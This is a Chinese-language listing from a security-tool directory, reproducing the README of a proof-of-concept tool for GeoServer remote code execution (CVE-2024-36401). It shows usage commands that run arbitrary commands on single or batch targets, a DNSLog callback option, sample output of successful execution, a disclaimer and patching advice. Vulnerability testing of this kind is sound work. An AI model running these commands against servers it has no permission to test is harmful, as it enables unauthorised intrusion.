Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-36401_Geoserver_RCE_POC — 本脚本是针对 GeoServer 的远程代码执行漏洞(CVE-2024-36401)开发的 PoC(Proof of Concept)探测工具。该漏洞允许攻击者通过构造特定请求,在目标服务器上执行任意命令。 | Kitploit
工具/GitHubGitHub/amoy6228/cve-2024-36401_geoserver_rce_poc
侦察漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubamoy6228/cve-2024-36401_geoserver_rce_poc

CVE-2024-36401_Geoserver_RCE_POC

本脚本是针对 GeoServer 的远程代码执行漏洞(CVE-2024-36401)开发的 PoC(Proof of Concept)探测工具。该漏洞允许攻击者通过构造特定请求,在目标服务器上执行任意命令。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
211年前尚未审核

⚠️ 免责声明: 此工具仅供安全研究与合法授权测试使用,请勿用于非法用途。使用者需自行承担法律责任。

README Version: [English | 中文]

漏洞描述

本脚本是针对 GeoServer 的远程代码执行漏洞(CVE-2024-36401)开发的 PoC(Proof of Concept)探测工具。该漏洞允许攻击者通过构造特定请求,在目标服务器上执行任意命令。


环境依赖

请确保你的运行环境已安装以下依赖项:

  • Python 3.x
  • 第三方库:
    • requests
    • lxml

可通过以下命令安装所需依赖:

root@kitploit:~
pip install requests lxml

使用说明

单个目标检测

root@kitploit:~
python poc.py -u http://target.com -d dnslog.example.com

或指定要执行的命令:

root@kitploit:~
python poc.py -u http://target.com -c "touch /tmp/vulntest"

批量检测多个目标

准备一个包含多个目标 URL 的文本文件(每行一个):

root@kitploit:~
python poc.py -uf targets.txt -d dnslog.example.com

或指定命令:

root@kitploit:~
python poc.py -uf targets.txt -c "id"

详细使用说明: 详细使用说明文档


参数说明

⚠️ 注意:-d 和 -c 参数不可同时使用。


输出示例

root@kitploit:~
[INFO] 爬取到3个有效的 Typenames,开始漏洞探测
[INFO] 目标: http://example.com
[INFO] 执行命令: whoami
[INFO] DNSLOG地址:

[INFO] 正在尝试 typeName: topp:states -> whoami
[+] 命令疑似成功执行!目标: http://example.com 命令: whoami

脚本特性

  • 修复Nuclei POC中由于Typenames写死,造成漏洞验证失败的问题。
  • 自动化的爬取所有Typenames信息,并循环测试可以利用的Typenames。
  • 支持使用 -c 参数执行命令。
  • 支持传入URL文件,批量测试漏洞是否存在。

安全建议

  • 及时升级 GeoServer 至官方最新版本。
  • 对公网暴露的 GeoServer 实例进行访问控制。
  • 配置防火墙限制 /geoserver/wfs 接口的访问来源。

贡献

欢迎提交 Issue 或 Pull Request 来帮助改进此项目。


许可证

该项目采用 MIT 许可证,你可以自由修改、分发、商业使用,但必须保留版权声明。


下载工具
参数描述
-u, --url指定单个目标地址
-uf, --url-file指定包含多个目标 URL 的文件路径
-d, --dnslog指定 DNSLog 地址
-c, --command指定要在目标系统上执行的命令(如:whoami, id, curl 等)